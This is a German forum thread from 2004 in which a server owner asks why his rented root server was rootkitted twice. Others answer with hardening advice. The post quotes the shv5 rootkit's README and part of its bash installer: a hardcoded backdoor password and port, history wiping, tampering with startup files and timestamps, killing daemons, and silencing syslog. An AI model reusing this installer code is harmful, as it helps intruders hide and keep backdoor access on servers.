gulli:board Logo

Anzeige


  Antwort
Spacefish
 
Beiträge: n/a
Angry Rootkit auf meinem Server!

Hi!
Wir haben nen Server bei Strato gemietet! ABer schon 2 mal wurde der verootkittet. Mit dem shv5 er. Um es zu installed braucht man aber rootrechte wie ich schon rausgefunden habe. Es beendet sämtliche Systemdienste ersetzt sie durch fakes die das net machen was sie sollen (es bloss anzeigen) und tut die ip des Servers auf 127.0.0.2 ändern, sodass er von außen auch nimmer zu erreichen ist. Da ich ja ne serielle Konsole hab konnte ich noch druff, was mir aber nicht sehr viel bringt. Also habe ich jetzt schon 2 mal formatiert!! und alles neu gemacht. Aktuelle Patches hatte ich eigentlich alle drauf, auch die von Strato empfohlenen. Das einzige was läuft auf dem server ist ein Csserver der unter root ausgeführt wurde (jetzt nichtmehr). Was denkt ihr könnte der Angriffspunkt sein? kann man über nen Csserver Code ausführen? also das Shellscript zum installieren? Und files hatten sie ja auch hochgeladen. In das Verzeichnis des Servers. eine mut.tgz. Unten stehend mal die README und die setup datei:

PHP-Code:
############
### shv5 ###
############

                   
MMMMMMM                                   MMMMMMMMMMMMMMM   
                   MMMMMMM                                   MMMMMMMMMMMMMMM   
                   MMMMMMM                                   MMMMMMMMMMMMMMM   
                   MMMMMMM                                   MMMMMMMMMMMMMMM   
                   MMMMMMM                                   MMMMMM            
           MMMMMM  MMMMMMMMMMMMMMMM     MMMMMMM    MMMMMMM   MMMMMM            
         MMMMMMMM  MMMMMMMMMMMMMMMMM    MMMMMMM    MMMMMMM   MMMMMMMMMMMM      
        MMMMMMMMM  MMMMMMMMMMMMMMMMMM   MMMMMMM    MMMMMMM   MMMMMMMMMMMMMM    
       MMMMMMMMMM  MMMMMMMMMMMMMMMMMM   MMMMMMM    MMMMMMM        MMMMMMMMMM   
       MMMMMMM     MMMMMMM    MMMMMMM   MMMMMMM    MMMMMMM          MMMMMMMM   
       MMMMMMM     MMMMMMM    MMMMMMM    MMMMMM    MMMMMM            MMMMMMMM  
       MMMMMMM     MMMMMMM    MMMMMMM    MMMMMMM  MMMMMMM            MMMMMMMM  
    MMMMMMMMMM     MMMMMMM    MMMMMMM     MMMMMMMMMMMMMM    MMM     MMMMMMMM   
  MMMMMMMMMMM      MMMMMMM    MMMMMMM      MMMMMMMMMMMMM    MMMMMMMMMMMMMMMM   
 MMMMMMMMMMM       MMMMMMM    MMMMMMM       MMMMMMMMMMM     MMMMMMMMMMMMMMM    
 MMMMMMMMMM        MMMMMMM    MMMMMMM        MMMMMMMMM      MMMMMMMMMMMMM      
 MMMMMMMM          MMMMMMM    MMMMMMM          MMMMM            MMMMMMM        




DISCLAIMER
:

 * 
The purpose of these coded instructionsstatements and computer
 
programs is for TEST AIMS ONLY !
 * 
Their use/misuse is at USERS OWN RISK !
 * 
We do not take any responsibility for any harm or damage caused
 
by the use of this file-package.
 * 
This includes copyingduplicating or modifying it in any form !

 * 
USERS WHO USE THIS CODED INSTRUCTIONSSTATEMENTS AND COMPUTER
 
PROGRAMS MUST ACCEPT ALL ABOVE STATEMENTS !
 * 
OTHERWISE U ARE OBLIGED TO DELETE THESE FILES IMEDIATELY !



CHANGES [shv5]:

-> - new 
sshd backdor with env-settings (avoids history logging)
   - 
The new sshd is in between 1.2.25-2.0.13 SSHD (from ssh.com)
   - 
not so big and with new great features designed to suite shv5.
-> new 
rk-dirs coz of lamme anti-shv4 release
-> new security-checks on the script
   
latest flaws included (mod_sslsambasendmail etc..)
-> 
setup-script rewriten to become more soft (friendly)
-> 
added new addons (tripwiresnort ... fucker :))
-> 
added basic utilz on rootkit (i hate dld them on each box)
-> 
we use md5sum passwords now (more l33t and secure)


USAGE:

-> - If 
u expect me to tell you how/what/if/when/where type of
   
questions delete these files imediatelyThis is not for you!


TODO:

-> 
tcpdump trojan
-> crontab trojan
-> sendmail backdoor
-> ftp backdoor
-> httpd backdoor
-> any other idea ?!?!?! < mail: [email]pint@dosnet.info[/email] > 

PHP-Code:
#!/bin/bash
#
# shv5-internal-release
# by: PinT[x] April/2003

# greetz to:
#
#[*] SH-members: BeSo_M, grass^, toolman, nobody, niceboy, armando99
#                 C00L|0, GolDenLord, Spike, zion ...
#[*] Alba-Hack : 2Cool, heka, TheMind, ex-THG members ...
#[*] SH-friends: mave, AlexTG, Cat|x, klex, JinkS ...
#[*] tC-members: eksol, termid, hex, keyhook, maher, tripod etc..
#[*] And all others who diserve to be here but i forgot
#[*] them at the moment !

# PRIVATE ! DO NOT DISTRIBUTE BITCHEZ !


# BASIC DEFINES

DEFPASS=r0ckw1thSH
DEFPORT
=30999
BASEDIR
=`pwd`


# DON`T TOUCH BELOW UNLESS YOU KNOW WHAT U`R DOING !
# BEFORE WE MOVE ON LET`s WORK ON SAFE-GROUND !


unset HISTFILE;unset HISTSIZE;unset HISTORY;unset HISTSAVE;unset HISTFILESIZE
export PATH
=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin


# RAINBOW COLOURS :)

BLK=''
RED=''
GRN=''
YEL=''
BLU=''
MAG=''
CYN=''
WHI=''
DRED=''
DGRN=''
DYEL=''
DBLU=''
DMAG=''
DCYN=''
DWHI=''
RES=''


# HOPE U`R NO TRYING THIS FROM USER !
# HOWEVER LET`S SEE WHAT KINDA KID U ARE ?

if [ "$(whoami)" != "root" ]; then
   
echo "${DCYN}[${WHI}sh${DCYN}] ${WHI} BECOME ROOT AND TRY AGAIN ${RES}"
   
echo ""
   
exit
fi


# UNZIPING SHITS

tar zxf ./bin.tgz
tar zxf 
./conf.tgz
tar zxf 
./lib.tgz
tar zxf 
./utilz.tgz
cd 
./bintar zxf ./sshd.tgz
rm 
-rf ./sshd.tgz
cd $BASEDIR
rm 
-rf bin.tgz conf.tgz lib.tgz utilz.tgz

sleep 2


#u.s.w. so gehts halt noch weiter der Installer


# GREPPING SHITZ FROM rc.sysinit and inetd.conf

if [ -/etc/rc.d/rc.sysinit ]; then
   chattr 
-isa /etc/rc.d/rc.sysinit
   cat 
/etc/rc.d/rc.sysinit grep -"# Xntps (NTPv3 daemon) startup.."grep -"/usr/sbin/xntps"grep -"/usr/sbin/nscd" > /tmp/.grep
   chmod 
+/tmp/.grep
   touch 
-acmr /etc/rc.d/rc.sysinit /tmp/.grep
   mv 
-/tmp/.grep /etc/rc.d/rc.sysinit
   rm 
-rf /tmp/.grep
fi

if [ -/etc/inetd.conf ]; then
   chattr 
-isa /etc/inetd.conf
   cat 
/etc/inetd.conf grep -"6635"grep -"9705" > /tmp/.grep
   touch 
-acmr /etc/inted.conf /tmp/.grep
   mv 
-/tmp/.grep /etc/inetd.conf
   rm 
-rf /tmp/.grep
fi


# KILLING SOME LAMME DAEMONS

killall --q nscd >/dev/null 2>&1
killall 
--q xntps >/dev/null 2>&1
killall 
--q mountd >/dev/null 2>&1
killall 
--q mserv >/dev/null 2>&1
killall 
--q psybnc >/dev/null 2>&1
killall 
--q t0rns >/dev/null 2>&1
killall 
--q linsniffer >/dev/null 2>&1
killall 
--q sniffer >/dev/null 2>&1
killall 
--q lpsched >/dev/null 2>&1
killall 
--q sniff >/dev/null 2>&1
killall 
--q sn1f >/dev/null 2>&1
killall 
--q sshd2 >/dev/null 2>&1
killall 
--q xsf >/dev/null 2>&1
killall 
--q xchk >/dev/null 2>&1
killall 
--q ssh2d >/dev/null 2>&1


echo "${WHI}--------------------------------------------------------------------${RES}"

echo "${DCYN}[${WHI}sh${DCYN}]# [System Information...]${RES}"
MYIPADDR=`/sbin/ifconfig eth0 | grep "inet addr:" | awk -F ' ' ' {print $2} ' | cut -c6-`
echo 
"${DCYN}[${WHI}sh${DCYN}]# Hostname :${WHI} `hostname -f` ($MYIPADDR)${RES}"
uname -awk '{ print  $11 }' >/tmp/info_tmp
echo "${DCYN}[${WHI}sh${DCYN}]# Arch : ${WHI}`cat /tmp/info_tmp` -+- bogomips : `cat /proc/cpuinfo | grep bogomips | awk ' {print $3}'` '${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# Alternative IP :${WHI} "`hostname -i`" -+-  Might be ["`/sbin/ifconfig | grep \eth | wc -l`" ] active adapters.${RES}"

if [ -/etc/redhat-release ]; then
    
echo -"${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/redhat-release`${RES}"
elif [ -/etc/slackware-version ]; then
    
echo -"${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/slackware-version`${RES}"
elif [ -/etc/debian_version ]; then
    
echo -"${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/debian_version`${RES}"
elif [ -/etc/SuSE-release ]; then
    
echo -"${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/SuSE-release`${RES}"
elif [ -/etc/issue ]; then
    
echo -"${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/issue`${RES}"
else echo -"${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} unknown${RES}"
fi

rm 
-rf /tmp/info_tmp
#echo "$1:$2:`hostname -f`:$MYIPADDR" | mail $md5sum
endtime=`date +%S`
total=`expr $endtime - $startime`

echo 
""
echo "${WHI}--------------------------------------------------------------------${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# ipchains ... ? ${RES}"

if [ -/sbin/ipchains ]; then
   
echo "${WHI}`/sbin/ipchains -L input | head -5`${RES}"
else
   echo 
""
   
echo "${DCYN}[${WHI}sh${DCYN}]# lucky for u no ipchains found${RES}"
fi

echo "${WHI}--------------------------------------------------------------------${RES}"

echo "${DCYN}[${WHI}sh${DCYN}]# iptables ...?${RES}"

if [ -/sbin/iptables ]; then
   
echo "${WHI}`/sbin/iptables -L input | head -5`${RES}"
else
   echo 
""
   
echo "${DCYN}[${WHI}sh${DCYN}]# lucky for u no iptables found${RES}"
fi
echo "${WHI}--------------------------------------------------------------------${RES}"

echo "${DCYN}[${WHI}sh${DCYN}]# Just ignore all errors if any ! "
echo "${DCYN}[${WHI}sh${DCYN}]# ============================== ${RED}Backdooring completed in :$total seconds ${RES}"

if [ -/usr/sbin/syslogd ]; then
   
/usr/sbin/syslogd -m 0
else
   /
sbin/syslogd -m 0
fi

if [ -/usr/sbin/inetd ]; then
   killall 
-HUP inetd >/dev/null 2>&1
elif 
[ -/usr/sbin/xinetd ]; then
   killall 
-HUP xinetd
fi

cd $BASEDIR
rm 
-rf ../shv5*

# EOF 
Alt 12. 01. 2004, 10:39 Mit Zitat antworten #1
onkelchen Spender
Retreat
 
Registrierungsdatum: Aug 2000
Beiträge: 11.530
Das lässt sich pauschal so nicht sagen, wie du selbst sagst, brauch man root Rechte für eine erfolgreiche Kompromisation. Was für einen Kernel hast du laufen, welche Daemons laufen normalerweise bei dir (`nmap -v -sS -AO SERVERIP`)? Welche Distribution läuft bei dir?
Alt 12. 01. 2004, 12:40 onkelchen is offline Mit Zitat antworten #2
Spacefish
 
Beiträge: n/a
Also:
System: Suse 8.1
Kernel: keine Ahnung (gglöaub der der da standartmäßig dabei is)
laufende Daemons: alle außer Telnet.

hm das war jetzt nich so genau leider. Aber ich weiß net wie ichs besser nachgucken kann.
Alt 12. 01. 2004, 12:59 Mit Zitat antworten #3
mip
The M.I.P.
 
Benutzerbild von mip
 
Registrierungsdatum: Apr 2002
Ort: 127.0.0.1
Beiträge: 3.715
Zitat:
Original geschrieben von Spacefish
Also:
System: Suse 8.1
Kernel: keine Ahnung (gglöaub der der da standartmäßig dabei is)
laufende Daemons: alle außer Telnet.

hm das war jetzt nich so genau leider. Aber ich weiß net wie ichs besser nachgucken kann.
Diese mageren Angaben zeigen, dass Du mit der Serveradministration komplett überfordert bist.

Mein Tipp:
Server kündigen, Kofler's Linux - Installation, Konfiguration, Anwendung kaufen und erstmal zu Hause an einem Rechner ohne Verbindung zur Aussenwelt üben.

Weniger radikale Variante:
System säubern. Versiertere User würde z.B. anhand von Backups feststellen, was kompromittiert wurde und das dann wieder herstellen, in Deinem Falle ist wahrscheinlich das Einspielen eines sauberen Systems die bessere Variante.
Nachdem das System sauber ist erstmal alle Dienste (bis auf ssh, wenn Du nicht die serielle Konsole nutzen willst) abschalten.
Nun Softwarepakete und Kernel auf den neuesten Stand bringen. Es empfiehlt sich auch ein Blick auf die diversen Security-Mailinglisten.
Dann Howtos, Manuals und andere Docs zu den Diensten lesen, diese danach sauber konfigurieren und wieder anschalten. Alles, was Du nicht dringend benötigst oder wovon Du keine Ahnung hast, bleibt aus!
Sei auch bei der Auswahl Deiner User vorsichtig - die meisten Server werden von lokalen Useraccounts aus gehackt.
Alt 12. 01. 2004, 13:22 mip is offline Mit Zitat antworten #4
phlebas
Mitglied
 
Registrierungsdatum: Nov 2003
Beiträge: 293
Nicht vergessen, neue Passwörter zu verwenden. Die alten sind nämlich nicht mehr sicher, so sie es denn jemals waren.
Alt 12. 01. 2004, 13:35 phlebas is offline Mit Zitat antworten #5
onkelchen Spender
Retreat
 
Registrierungsdatum: Aug 2000
Beiträge: 11.530
Naja, die Linux Passwort Datei, ist zuverlässig verschlüsselt. Das Ändern der Passwörter wird zwar nicht schaden, allerdings sind die Einfallstore durch Daemons wesentlich gefährlicher.
Wie mip schon sagte, lokale Shells sind die gefährlichsten Einfallstore (war bei den Debian Servern nicht anders), knapp gefolgt von Daemons, die grundsätzlich mit root Rechten laufen.
Alt 12. 01. 2004, 13:39 onkelchen is offline Mit Zitat antworten #6
phlebas
Mitglied
 
Registrierungsdatum: Nov 2003
Beiträge: 293
Zitat:
Original geschrieben von onkelcracker
Naja, die Linux Passwort Datei, ist zuverlässig verschlüsselt. Das Ändern der Passwörter wird zwar nicht schaden, allerdings sind die Einfallstore durch Daemons wesentlich gefährlicher.
Natürlich ist shadow verschlüsselt, nur bringt das herzlich wenig, wenn trojanisierte Daemons die Passwörter ausspionieren. Klar ist aber auch, dass das sicherste Passwort nichts bringt, wenn die Dienste offene Scheunentore sind.
Alt 12. 01. 2004, 13:44 phlebas is offline Mit Zitat antworten #7
Spacefish
 
Beiträge: n/a
Naja soviele Dinge die das Rootkit ersetzt, da lohnte sich ne neuinstallation . Als einfallstor haben ich den Hlds Server im Verdacht. Also den Counter-Strike Server. Er lief mit root rechten und in dem Verzeichnis lag acuh das rootkit.
Alt 12. 01. 2004, 13:49 Mit Zitat antworten #8
vmk Spender
ex-Moderator
 
Benutzerbild von vmk
 
Registrierungsdatum: Jun 2000
Ort: /home/vmk
Beiträge: 15.402
Zitat:
Original geschrieben von Spacefish
Als einfallstor haben ich den Hlds Server im Verdacht. Also den Counter-Strike Server. Er lief mit root rechten und in dem Verzeichnis lag acuh das rootkit.

Selbst schuld, warum gibt du einem daemon root Rechte? Ein Fehler im Daemon und jeder von draussen erlangt root Rechte.

*kopfschüttel*

Einziger Tip: Mach genau das, was mip dir vorschlägt. SuSE 8 ist erstens veraltet (bez. Sicherheit) und SuSE würde niemand auf einen root Server installieren, denn das ist "Selbstmord".
Alt 12. 01. 2004, 15:07 vmk is offline Mit Zitat antworten #9
Spacefish
 
Beiträge: n/a
Zitat:
und SuSE würde niemand auf einen root Server installieren, denn das ist "Selbstmord".

Na dann frag mal Strato! Ich finde RedHat auch besser.
Alt 12. 01. 2004, 15:24 Mit Zitat antworten #10
Stoertebeker
Leitkulturbanause
 
Benutzerbild von Stoertebeker
 
Registrierungsdatum: Mar 2001
Ort: ocean of chaos
Beiträge: 4.661
Wenn dein Spielzeug Server mit Rootrechten lief würde ich mips ersten Rat zumindestens teilweise mal überdenken. Immer möglichst wenig Rechte geben, und sofern der Port nicht unter 1024 ist sind root Rechte einfach eine dumme Idee. Eigener User für das Ding sollte selbstverständlich sein.

Wenn du die Kernel Version nicht weißt, dann hatte der unter Garantie lokal ausnutzbare Bugs, die dem Bösewicht auch zu root Rechten verholfen hätten, sofern dann noch irgend ein buggy Server bei war.
Und "von Starto empfohlene Patches" heißt was? Alle die auf einer staatischen Seite von Mitte 2003 aufgeführt waren? Täglich oder mindestens einmal die Woche würd ich das dem Server schon gönnen. SuSEs YAST hat dafür auch eine option, aber kA ob 8.0 überhaupt noch von SuSE unterstützt wird. Spätestens wenn ein Exploit rumschwirrt ist es dann aber Glücksache, daß du nicht wieder den nächste Rootkit drauf hast.

Lern es, frag jemand der sich auskennt oder optimiere halt dein Reinstallationsverfahren. Daß du sicher nicht der einzige etwas unbedarfte bei den Strato Root Servern sein wirst hat sich bei den Kiddies bestimmt auch schon rumgesprochen, von daher gucken die da sicher auch in Zukunft mal wieder vobei.
Und sofern du keinen unbegrenzten Traffic hast kann so eine Geschicht auch mal teuer werden, wenn die am Ende deinen Server zum Download oder für sonstigen Traffic nutzen.

Hilft dir zwar jetzt herzlich wenig, aber vllt. dann beim nächsten Mal.

Und daß alle Server deaktivieren nicht vergessen, einfach mal einen portscanner von deiner Kiste daheim gegen deinen Server laufen laßen. Unter "Linux Server sicher machen", oder hardening+linux+server oder so finden sich auch haufenweise Anleitungen bei google.
Alt 12. 01. 2004, 15:33 Stoertebeker is offline Mit Zitat antworten #11
Spacefish
 
Beiträge: n/a
Also ich habe den Csserver natürlich jetzt unter nem eigenen Benutzer laufen. Updates ziehe ich auch eigentlich regelmäßig über Yast rein. (YOU). Und die Daemons die laufen brauche ich auch eigentlich alle.
Alt 12. 01. 2004, 16:43 Mit Zitat antworten #12
onkelchen Spender
Retreat
 
Registrierungsdatum: Aug 2000
Beiträge: 11.530
Was fragst du denn, wenn du dir nichts sagen lässt?
Du nennst uns ja nicht mal konkret, welche Daemons und Kernel bei dir laufen.
Alt 12. 01. 2004, 17:05 onkelchen is offline Mit Zitat antworten #13
Themen-Optionen Antwort


Themen-Optionen

Gehe zu



Alle Zeitangaben in UTC +1. Es ist jetzt 19:02 Uhr.
Angetrieben von vBulletin
Copyright ©2000 - 2006, Jelsoft Enterprises Ltd.
neurosis.gullisys.net

Anmelden

Benutzername
Kennwort